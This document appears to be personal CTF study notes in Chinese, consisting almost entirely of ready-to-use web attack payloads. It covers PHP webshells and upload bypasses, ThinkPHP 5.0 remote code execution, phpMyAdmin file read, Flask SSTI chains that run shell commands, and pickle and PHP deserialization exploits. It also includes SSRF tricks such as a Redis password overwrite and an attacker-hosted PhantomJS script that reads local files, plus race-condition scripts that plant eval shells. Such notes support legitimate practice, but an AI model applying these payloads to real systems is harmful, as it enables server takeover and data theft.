Web学习笔记
Web学习笔记
http头部参数
1、更改本机的IP:X-Forwarded-For: 127.0.0.1
本机IP更改的绕过方法,XXF:或者client-ip:或者X-Real-IP或者X-client-ip
2、更改refer:Referer:www.
3、更改浏览器:在user-agent后面浏览器的字段更改
4、Content-Type: application/x-www-form-urlencoded
以下是需要传送post数据时
Content-Type:multipart/form-data;boundary=---------------------------10242300956292313528205888
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/bash
cat /flag.txt
-----------------------------10242300956292313528205888--
5、需要我们的邮箱是:root@gem-love.com,添加From
6、代理服务器地址需要是y1ng.vip,添加Via
7、使用Commodo 64浏览器,查一下全称是:Commodore 64
8、$cookie=cookie[‘a’],表示在bp的header的cookie字段进行设置a=xxx
9、网站输出本机IP地址,client-ip或者XXF:{system('ls')}
10、跳过get请求绕过,可以用head ,下面post改head
Think php 5.0 RCE漏洞 get shell漏洞
第一种:
index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars1=输入命令
第二种:
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha
POST_DATA:
method=_construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
第三种:
http://www.bmzclub.cn:22020/index.php?s=captcha (POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
一句话木马
一般上传
1、<?php @eval($_POST['shell']);?>
<?php @eval($_POST[shell]);?>
Get方式 code=<?php System($_GET[l]);?>
<?php @eval($_REQUEST['111']);highlight_file(__FILE__);?>
Rot13写shell,代码如下:
?content=php://filter/write=string.rot13|<?php @eval($_POST['shell']);?>/resource=shell.php
<?echo%09`ls%09/`?> 其中%09是空格
2、序列化中上传{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}s:1:%22n%22:N;}
2、GIF89a? <script language="php">eval($_REQUEST[feng])</script>
可以大写PHP来绕过
3、?=@eval($_POST['shell']);? 用短标签,常用
<?php eval($_POST['a']);
eval($POST[''])
<?=eval($_REQUEST['cmd']);?>
4、a=eval($POST['l']);&l=phpinfo(); 注意,蚁剑中添加数据时候,在httpbody, 增加name:a和value:eval($POST['l']); 无法读取readflag文件(乱码),使用exp.php用蚁剑上传到/tmp,然后post数据a=include(‘/tmp/exp.php’), 注意php中($s -> current())("/readflag") 修改
a=eval($_POST['l']);&l=include(‘/tmp/exp.php’);
5、<script language=php>system("ls")</script>
6、点+空格+点,多加几个也可以,例如1. php .. .,连接蚁剑时候只需要1.php.
7、1.php%00、php2, php3, php4, php5, phps, pht, phtm, phtml、1.phP、1.php;.jpg,1.jpg.php、ph\p
8、在php配置文件中,开启了cgi.fix_pathinfo,导致图片马1.jpg可以通过访问1.jpg/.php解析成php,利用apache的文件解析漏洞,访问这个php,拿到flag
.user.ini
1、构造 .user.ini
GIF89a
auto_prepend_file=1.jpg
2、访问index.php,自然会调用.user.ini
3、如果蚁剑连不上,无网站文件操作权限,则访问http://XXX,通过bp抓包,通过post上传值a= print_r(glob("*")); 然后再a=highlight_file("XX.php; 然后再a=highlight_file("XX.php) ");,或者a=system("ls");
.htaccess文件
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
\1. 打开.htaccess文件写入 ,SetHandler application/x-httpd-php
这个作用是把上传的图片改成php文件,蚁剑连接图片文件就行了
\1. 包含读取php_value auto_prepend_file 1或者
zip文件上传
1、由于我们上传的路径目录是upload/随机值/上传的文件,所以需要文件名为/…/…/file.php,由于需要构造解析,利用apache的解析漏洞,如果从右开始,直到哪个能识别就解析哪个,构造最终文件名为/../../zzz.php.zzz,这个文件名长度为18位
创建文件,名字18位123456789012345678,然后添加压缩成zip,然后进winhex改这串18位为/../../zzz.php.zzz,然后访问
http://challenge-b23670faf350251b.sandbox.ctfhub.com:10080/upload/../../zzz.php.zzz
\1. 用phar生成脚本后,文件后缀phar改成.zip后缀上传,然后用参数读取,
<?php
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.php", '<?php eval($_POST[1]);?>');
$phar->stopBuffering();
?>
?bingdundun=phar:///var/www/html/56602cf7e1c9faef25eee090c580f491.zip/test
Get方式传木马
1、Get传入 ?c=echo $_POST[a]
?>, 然后同时post数据a=cat config.php
2、http://5703c749-e4c8-4dc9-84cb-e6b56f3419a6.node3.buuoj.cn/?Ginkgo=QGV2YWwoJF9QT1NUWydhdHRhY2snXSk7,后面是base64加密,蚁剑连接
找到flag不能读取,但是有readflag,在tmp文件夹里上传脚本,7.3漏洞.php,里面pwn改成/readflag
访问上面的url连接,通过post传参,attack=include(‘/tmp/7.3漏洞.php’); 得到flag
3、<?php eval($_REQUEST['cmd']);?> 以下用base64编码上传
GIF89a12 #12是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
无数字字符串webshell
<?=$=[];$__=$.$;$=($==$);$=($==$);$_=~区[$].~冈[$].~区[$].~勺[$].~皮[$].~针[$];$__=~码[$].~寸[$].~小[$].~欠[$].~立[$];$_($$[]);
以上写入1.php,注意使用utf-8编码
然后用_=ls /
注意flag在env里,使用_=env
蚁剑Redis绕过
详见bp文件夹,exp中《redis绕过方法》,到虚拟机win主机中蚁剑
sed提权
\1. 蚁剑链接后读不到flag,蚁剑虚拟终端,通过find / -type f -perm /4000 2>/dev/null 看命令
\2. 然后 /bin/sed '1,5p' /flag
DAV的Put方式
文件上传
一、什么数字和字母都没,只有?cmd=,
1、echo 文件
;等价于<?=`文件`;,但是前面需要用?>闭合前面php语句,
2、. “文件”相当于执行文件
3、正常情况任何上传文件都在/tmp/下面,可以用通配符/??p/p?p???代替,
payload :cmd=?><?=.+/tmp/p?p??????
, 改为post方式Content-Type:multipart/form-data,
文件内容 ls, cat flag
二、上传图片,file_info可以识别 png 图片( 十六进制下 )的第一行文件头,而getimagesize 识别大小,只需要png的文件头即可绕过
三、with open(os.path.join("uploads/", res[0]), "r") as f res[0]为绝对路径时,打开的就是绝对路径,不会进行拼接,所以用burp修改文件名为 /flag,跳转就读取到/flag文件了
file_put_contents
.htaccess文件的写入,参数传以下内容,包括换行,换行%oa,# %23
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla'.'g');?>\
说明:php_value auto_prepend_file 是用来在页面底部加载文件的,在这里就是相当于加载<?php system('cat /fla'.'g');?>,而#应该是.htaccess文件特有的写入形式,没有的话会直接报错500,最后那个/是用来转意换行符的
SSTI模板渲染漏洞
https://www.cnblogs.com/mke2fs/p/11523005.html
1、
直接把以下代码放到payload
{% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{{ b'eval' }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
2、{{''request.args.a2()40request.args.d}}?a=class&b=mro&c=subclasses&d=read
2、另一种情况:
error?msg={{handler.settings%20}}
得到cookie_secret
3、一般情况/shrine/{{config}}就可以,但是被过滤config的话
/shrine/{{url_for.globals}}
/shrine/{{url_for.globals['current_app'].config['FLAG']}}
4、本来{{system(‘ls’)}}就可以,但是有括号就必须用下面,在cookie参数user=123后面加
{{self.env.registerUndefinedFilterCallback("exec")}}{{self.env.getFilter("cat /flag")}}
5、抓包修改XXF:{if readfile('/flag')}{/if}
6、如果别过滤情况,以下是扫根目录
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals'builtins'('o'+'s').listdir('/')}}{% endif %}{% endfor %}
过滤后用拼接方式找flag
{% for c in [].class.base.subclasses() %}{% if c.name=='catch_warnings' %}{{ c.init.globals['builtins'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
7、通过../../../proc/self/cmdline,发现了了server.py,然后通过../../../proc/self/cwd/server.py指到了当前运行进程,进去要读flag.php,还有个key.php,这时候需要进行cookie的flask注入了,通过flask_cookie_manager(脚本文件夹里),key.py是秘钥,然后构造
{'n1code':'{{''.class.mro[2].subclasses()[71].init.globals['os'].popen('cat flag.py').read()}}'}
构造了cookie,直接抓包改cookie获得flag
8、payload:/admin/index?id=0&age={{.Password}}
8、有很多类
1、?search={{''.class.mro[2].subclasses()}} 爆出所有类(或者[1])(或者使用脚本《SSTI爆可用类》),用脚本《可用类序号》看有subprocess.Popen执行命令是哪个序号,比如258就是爆出的I ,序号
?search={{''.class.mro[2].subclasses()258.communicate()[0].strip()}}
或者爆出所有类后,直接找os._wrap_close类,下面的括号双写绕过了
{{''.class.mro[1].subclasses(())[117].init.globals'popen'.read(())}}中open也被过滤了,继续尝试双写绕过
9、使用《Arjun-master》扫描参数 ,在Linux系统中使用tplgetshell,参见脚本《tpl-master》
py -2 tplmap.py -u 'http://xxx.node3.buuoj.cn/?name=1'
py -2 tplmap.py -u 'http://xx.node4.buuoj.cn:81/?name=1' --os-shell
2、有rc4加密,通过脚本加密后,传入参数执行,参见脚本-web题-题目 《flask模板rc4加密.py》
flask的session伪造
1、将session改造成admin然后变成新的ey开头cookie
2、没有key的时候,直接将session进行base64解密即可
Ruby ERB注入
1、构造do=<%=′ '%> is working和name=<%= ′’%>,记得把里面内容转成十六进制
所以最终就是
work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working
\1. 得到的auth和secret,改金币,添加secret形成新的auth,通过post上传shop页面,
\2. 再解码auth得到flag
2、具体参考Ruby ERB [SCTF2019]Flag Shop
Session伪造
\1. url=/app/app.py读取源码,找到key,才能解session,以下是key为伪随机,注意要python2
import randomrandom.seed(0x32ebd7484193)print(str(random.random()*233))
\1. 使用《flask_session_cookie_manager3》解出session,再根据要求构造新session
\2. uuid.getnode() 函数是获取mac,在目录/sys/class/net/eth0/address
proc/self/cmdline
1、?name=../../../proc/self/cmdline 然后 ?name=../../../proc/self/cwd/server.py
2、SSTI模板注入,构造以下,然后找到key加密
{'n1code':'{{''.class.mro[2].subclasses()[71].init.globals['os'].popen('cat flag.py').read()}}'}
File:///proc/self/environ ,flag在环境变量
逻辑漏洞flag在session
?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
得到session进行解密
Phpinfo中session_upload_ Cleanup
在phpinfo中session.upload_progress.cleanup的值为off,可以用文件上传,条件竞争,2000个包爆破,详见脚本phpinfo的cleanup.py
\1. 第一个包,注意cookie的phpsessid
\1. 第二个包,注意文件包含
ThinkPHP6任意文件操作漏洞分析session
\1. 首先注册,然后登录,登录时候抓包,修改cookie为
PHPSESSID=1234567890123456789012345678.php
\1. 然后在页面搜索框,输入一句话,相当于这个搜索框内容写到php文件,注意抓包改phpsessid
\2. 下载源码看session文件放在哪了,一般在
/runtime/session/sess_1234567890123456789012345678.php
SSRF
1、题目见ssrf1,得到签名sign
http://8fa4531c-1164-49b7-a700-70e77e6aacb7.node3.buuoj.cn/geneSign?param=flag.txtread
添加Cookie发送请求得到flag
De1ta? param =flag.txt
Cookie: action=readscan;sign=cf8d4365c9b27a29b29e025a7ed25fa6
\1. 看到输入主机的地方,直接file:///flag
\2. php里如果./readflag点变成下划线,用?url=file:bash -c /readflag|
前面是?url=/&filename=123, ?url=file:bash -c /readflag|&filename=123,运行两便,然后到filename文件夹取flag
get_headers()函数
结合cve可知,get_headers()函数存在漏洞。通过\0截断,访问本地主机。经过尝试,题目这里需使用%00截断
http://b31b16fe-4bc3-4200-8547-743135262e80.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com
parse_url
XXX?url=http://a:@127.0.0.1:80@baidu.com/flag.php
传入的URL为http://a:@127.0.0.1:80@baidu.com,那么进入 safe_request_url检测之后 parse_url取到的host是baidu.com,而curl取到的是127.0.0.1:80
PhantomJS的SSRF任意文件(返回的是页面截图)
在vps上wwwroot/ip/ 下面新建一个1.html 指向js
<html>
<script src="http://xxx.com/test.js"></script>
</html>
然后创建js,test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///flag");
oReq.send();
然后登录框上输入http://ip/1.html, 网站可以发现flag,在access-log里
二次编码绕过
SSRF一般传入的http协议,的要进行二次编码,如下标红要url编码一次,一句话编码2次,第二个file里面相当于把path内容返回到index的页面
?file=http://127.0.0.1/?file=http://127.0.0.1/index.php&path=<?php eval($_POST['shell']);?>&path=181.php
题目:file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
换行%0d%0a绕过
然后我们登录/login,输入admin动作要快,admin密码会定时修改
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo
0代表127.0.0.1
使用0代替127.0.0.1绕过,访问node4.buuoj.cn:81/?url=http://0:8000/api/internal/secret
file:///flag
file:///flag不行用file:///%66%6c%61%67
phpmyadmin任意文件读取
phpmyadmin4.8.0-4.8.1存在的漏洞直接上payload读取passwd文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
读取成功,尝试读取flag文件
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
序列化
首先找file_get_contents函数
构造序列化的类
<?php
class chybeta{
var $test = '123';
}
$class1 = new chybeta;
$class1_ser = serialize($class1);
print_r($class1_ser);
?>
///有时候传一个引用,$a->input=&$a->correct;
\1. 我们可以将protected类型改为public,以消除不可打印字符,protected属性被序列化的时候属性值会变成:%00%00属性名private属性被序列化的时候属性值会变成:%00类名%00属性名,注意有时候◦◦改成\0\0\0
\2. 对于出现了不可打印字符,可以urlencode
\3. 注意序列化后传入如果不能带双引号,就转换16进制,如下的payload
filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"
__wakeup绕过
利用serialize反序列化漏洞,当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
\1. 取得的结果O:4:"xctf":1:{s:4:"flag";s:3:"111";}里面的1改为2以上即可
\2. 增加一个属性值s:1:"n":N;
O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}s:1:"n":N;}
extract($_POST)变量覆盖
$this->your_answer=&$this->name; 注意&是引用
Fakebook
Payload:/view.php?no=0//union//select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
7、cookie的token=
<?php
$login=array('user'=>'ichunqiu');
$a=serialize($login);
$a=gzcompress($a);
$a=base64_encode($a);
echo $a;
?>
序列化字符逃逸
O:1:"a":2:{s:5:"uname";i:1;s:8:"password";s:5:"yu22x";},序列化字符逃逸总结,参照《序列化逃逸.pdf》,传入AA";s:8:"password";s:5:"yu22x";},AA替换为AABB,";s:8:"password";s:5:"yu22x";}有30字符,发15个AABB也就是可以逃逸30个字符。
注意前面的 “ 号也要逃逸
数组序列化方法
";}s:5:“photo”;s:10:“config.php”;}
<?php
$arr=array
(
"phone"=>"888888",
"email"=>"123@139.com",
"nickname"=>array
(
"0"=>"123"
),
"photo"=>"config.php"
);
$serialize = serialize($arr);
echo $serialize;
?>
python的序列化
反序列化后产生的对象会在结束时触发reduce()函数从而触发恶意代码,以下结果a作为参数return (eval,("import('os').system('ls /')",)),注意在kali的Linux中运行python
import pickle
import urllib
class payload(object):
def reduce(self):
return (eval, ("open('/flag.txt','r').read()",)) #打开读取flag.txt的内容
a = pickle.dumps(payload()) #序列化payload
a = urllib.quote(a) #进行url编码
print a
# cbuiltin%0Aeval%0Ap0%0A%28S%22import%28%27os%27%29.system%28%27ls%20/%27%29%22%0Ap1%0Atp2%0ARp3%0A. 注意后面这个点
POP链
构造方法:
A赋予一个show类,那么会自动触发toString函数
B(因为test类中没有source属性,则是访问了不可访问的属性)则会自动调用get魔术方法
C可以发现get方法中有个函数调用,则我们可以将$this->p赋予Modifier类,会自动调用invoke方法
D序列化的时候尽量用url编码一下(在这个题中有protected修饰的属性,会有不可见字符)
E __construct()作为连接
Include的时候记得要用伪协议file读
1、题目
$o = new User();
$list=new FileList();
$o->db=$list;
整体思路:通过User调用File中的close()读取flag但是要经FileList绕一下,不然没有回显
\1. pop链
constrct->tostring,调用函数->获取flag类、函数
\1. 当docker为空时,可以绕过,if($this->openstack->neutron === $this->openstack->nova)
存在protect参数的类,__construct 函数里面要指向一个不存在类
Phar反序列
注意找unlink函数可以触发phar文件,具体看bp/exp文件夹中pop链生成phar
访问phar://1.jpg/exp.txt
利用条件:
① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
③ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤
seesion反序列化
php.ini中默认session.serialize_handler为php_serialize,而index.php中将其设置为php。导致了seesion的反序列化问题,phpinfo()页面继续可知,session.upload_progress.enabled为On。
注意下面的截图,有几点注意:
\1. filename中的” 要前面加\ 防止转义,序列化前加|
\2. 扫描目录print_r(scandir(dirname(FILE)));读取文件print_r(file_get_contents("x.php "));
\3. 要知道文件路径,在phpinfo里的SCRIPT_FILENAME字段里,/opt/lampp/htdocs/
利用error原生类(比较md5相等)
1、找一个含有__toString的类,来返回值。
这边可以用原生类Error或者Exception,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
\1. preg_match可以用取反来绕过,但是要urldecode一下,payload如下
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode("%d0%99%93%9e%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>
原生类
2、直接联想到原生类的利用中目录读取文件的类DirectoryIterator类、FilesystemIterator
<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "FilesystemIterator";//改成SplFileObject读取文件内容
$this->data = "/flag"; //glob:///f,读取所有
}
}
$a=new catalogue();
echo serialize($a);
小写改大写绕过
当我们把s改成大写的S时候,字符串中的字符是可以使用反斜杠\加16进制替换的
?cata=O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";}
MD5
\1. MD5()true参数漏洞,发现可以找到ffifdyop字符串会造成漏洞,题目:easy md5
\2. $a != $b && md5($a) == md5($b) 可以构造 a[]=1&b[]=2
str_replace('key','',$str)可以通过构造成kkeyey绕过
sha1()函数类似md5
\1. 加密后0e开头的字符串,QNKCDZO、s878926199a、s214587387a、s214587387a、240610708
\2. String(a)!=string(b) ,md5(a)=md5(b)构造如下,注意要用bp,不能用hackbar
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
\1. SHA1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
MD5哈希长度拓展攻击
发现cookie里有hash,响应包也有hash,那么get参数填入响应包的hash值
hash长度扩展攻击
详见《脚本》-漏洞库 《hash扩展攻击flag在管理员手里.html》
\1. 在虚拟机中使用如下,使用hashpump得出以下
\2. 将上述字符串中的\x替换成%,;替换成%3b,倒序排列,作为role,fc开头作为hash
\3. 注意得出的字符串,前面减去两位\x00,然后爆破,从第七个/x00后面开始,如图
\4. 注意倒序排列时候,先倒序,再改%,如下
\5. s:5:"admin";00%00%00%00%00%00%00%0b%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%08%s:5:"guest";
\6. 最后payload:在bp中的interupt中,注意下面是32个%00,(\xb0是176bit22字节,加前后guest和admin 10个字节,总共32个%00)
s:5:"admin"%3b%00%00%00%00%00%00%00§%0b§%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:"guest"%3b;
Php中的GLOBALS变量
它是一个数组,里面存放着所有的变量所以只要构造?args=GLOBALS即可得到flag
文件包含漏洞
\1. file=php://filter/read=convert.base64-encode/resource=index.php或者 flag或/etc/passwd
file=php://filter/read=string.toupper|string.rot13/resource=/flag,结果root13,并改小写
?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
?filename=php://filter/convert.iconv. §1§.§utf8.utf16§/resource=flag.php
将上面标红的用cluster bomb进行爆破,用下面字典
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
php://filter/write=string.rot13|<?php @eval($_POST['shell']);?>/resource=shell.php
以上只要涉及到写入函数,file_put_contents,可以用到
2、访问/?page=PHP://input
<?php system(”ls”)?>
3、phar协议,使用phar生成脚本,然后改成1.jpg访问 file=phar://upload/1.jpg/test.php
\1. text=data://text/plain,XXX, 还可以text= data://text/plain;base64,XXX(base64值)
比如,file=data://text/plain,<?php system(‘ls’);?>
data协议可以使你输入得字符串作为数据流,上面相当于把XXX写入text
file=php://filter/read=convert.base64-encode/resource=next.php
(1)/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
(2)?filename=data://text/plain,welcome2ctfshow&id=0e3&content=%0012345678
4、 include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(FILE);
?>
Payload:?hello=1);print_r(file_get_contents(‘/flag’)
?name=../../../etc/passwd
?name=../../../proc/self/cmdline
?name=../../../proc/self/cwd/server.py
\1. 目录穿越:a.看到…/就想到目录穿越,如果 发现目录/img/下面有…/, 那么就/img../ 目录穿越
b.我们在正常的url中加入…/ ./ /测试发现只有加…/和原页面一致,说明他过滤了…/而且还是置为空那么我们就可以进行双写绕过
/admin/admin.php?file=./..././..././..././..././etc/passwd&ext=成功包含。
\1. 输入啥就显示啥,尝试输入{{5*5}}
\2. 读取文件
article?name=../../../etc/passwd 然后 ../../../flag
article?name=../../../proc/self/cmdline
要想办法读取这个文件因为不知道当前的路径,无法通过路径读取,所以通过当前进程的工作目录来读取。article?name=../../../proc/self/cwd/server.py
article?name=../../../proc/self/cwd/key.py,得到秘钥,然后flask脚本加密;回到n1page页面,更改session
\1. func=date&p=Y-m-d+h%3Ai%3As+a,func参数调用了函数date(),p参数调用了函数date中填写的时间格式,构造func=readfile&p=index.php
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:20:"cat /flag_1949024654";s:4:"func";s:6:"system";}
9、这里再介绍一个php的函数glob();glob() 函数返回匹配指定模式的文件名或目录。
举个例子:glob("") 匹配任意文件glob(".txt")匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob("*")); 然后用highlight_file()显示文件
\1. 文件取反的操作,比如都过滤了,那么使用 include~%XX%XX%XX, XX表示字符串取反后的hex,比如/flag, 取反后X=hex(255-ord(‘f’)),include~%d0%99%93%9e%98,或者require,code=]=1?><?=require~%d0%99%93%9e%98%d1%8b%87%8b?>
\2. 注意在phpinfo()里查auto_prepend_file,包含了关键文件
\3. 任意文件下载漏洞
\4. 然后执行这个文件用”.” POST /?cmd=?><?=.+/??p/p?p??????
;
\5. 编译c文件 ,#include “/flag”
parse_url解析漏洞
当url种出现下面这种情况的url,会解析错误,返回false
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
session.upload_progress包含(GET['file'])
<?php
highlight_file(FILE);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
参照以下脚本。需要先免杀毒
import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}
def write(session):
while True:
f = io.BytesIO(b'a' 1024 50)
resp = session.post( 'http://29990843-ca1b-41bd-b564-78e2b6b86557.node3.buuoj.cn/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://29990843-ca1b-41bd-b564-78e2b6b86557.node3.buuoj.cn/?file=/tmp/sess_'+sessid,data=data)
if '1.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if name=="main":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
require_once
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
日志文件包含
1、看htpp返回头中的header得知是ngix。然后xxx.php?file=../../../../../var/log/nginx/access.log,可以在User-Agent:这个传一句话,在后面添加就好,相当于日志中把一句话包含了,然后再访问php, 注意右键看源码比较清楚
看日志文件是否记录有一句话木马,哈哈哈,当然看不到
2、命令执行的时候,useragnet后加一句话,然后cp /var/log/nginx/access.log 1.php
蚁剑连1.php
\1. 但凡只要看到日志文件,就想着传木马,因为log.php日志肯定会记录,一句话
PHP临时文件包含
利用能访问的phpinfo页面,对其一次发送大量数据造成临时文件没有及时被删除,要有404跳转是个特征
import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = {
'file': BytesIO(payload.encode())
}
url = "http://35869f0e-43e6-47db-a026-b77fdfed3fea.node3.buuoj.cn/flflflflag.php?"\
+"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
然后访问 dir.php 可以得到临时文件的名称,包含之即可RCE
flag就在phpinfo页面。注意在/tmp中flflflflag.php?file=/tmp/phpFPPlEi
任意文件读取
download.php中,我们可以修改filename,注意目录穿越,比如(…/…/index.php)从而达到任意文件读取,…/…/index.php
web绕过
1、preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)
说这个是只过滤了最后一个"."后面的东西。
可以使用…/filename/.来过滤
3、preg_replace
官方payload/?.*={${phpinfo()}}
但这里存在的问题是,GET方式传的字符串,.会被替换成_,这里采用
\S=${phpinfo()} #\S 在php正则表达式中表示匹配所有非空字符,表示多次匹配
最终payload
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');
4、==的弱比较:0e和‘字符串’;php的伪协议;eregi的绕过:%00截断(而\x00会将url后面的都截断,我们的目的是在执行到变量时实现截断)和123123,eregi("111".substr(b,0,1),“1114”),截取b的第一个字母然后与111拼接,拼接后是否与1114相等,只能把b=123123
5、strcmp函数,不可比较时出错,数组和字符串不可比较
6、cat</flag、cat<>flag.txt
a=$'\x20/flag'&&cat$a
